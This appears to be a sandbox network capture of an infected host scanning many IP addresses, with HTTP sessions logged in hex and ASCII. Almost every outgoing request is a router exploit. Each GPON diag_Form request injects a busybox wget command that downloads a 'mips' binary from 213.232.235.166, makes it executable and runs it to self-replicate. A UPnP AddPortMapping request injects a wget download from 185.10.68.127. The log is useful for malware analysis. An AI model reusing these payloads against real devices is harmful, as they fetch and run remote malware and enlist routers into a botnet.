Apr 15, 2024 08:53:16.640412092 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:18.368510008 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.016416073 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:28.928404093 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:42.752541065 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.13	50472	13.224.221.14	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.176578999 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.105140924 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.401259899 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 4c36faabfc67dbcb121ad26f9612cc3a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR61-C2 X-Amz-Cf-Id: FTPekQgkWjAbSTKK5PM7avIBcsOwyQTHOmHalScPoHZNgHy1Xaqx-g== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 46 54 50 65 6b 51 67 6b 57 6a 41 62 53 54 4b 4b 35 50 4d 37 61 76 49 42 63 73 4f 77 79 51 54 48 4f 6d 48 61 6c 53 63 50 6f 48 5a 4e 67 48 79 31 58 61 71 78 2d 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: FTPekQgkWjAbSTKK5PM7avIBcsOwyQTHOmHalScPoHZNgHy1Xaqx-g==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.13	50480	13.224.221.14	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.176615000 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.704446077 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:18.496488094 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:22.272419930 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.440391064 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:43.776429892 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.13	38252	112.140.160.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.194695950 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.13	52664	185.32.243.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.201356888 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:15.522186995 CEST	233	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:15 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Length: 11 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.13	40062	176.100.56.10	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.246501923 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:15.615546942 CEST	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 15 Apr 2024 06:53:15 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.13	56688	138.136.133.160	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.451287985 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:17.216437101 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 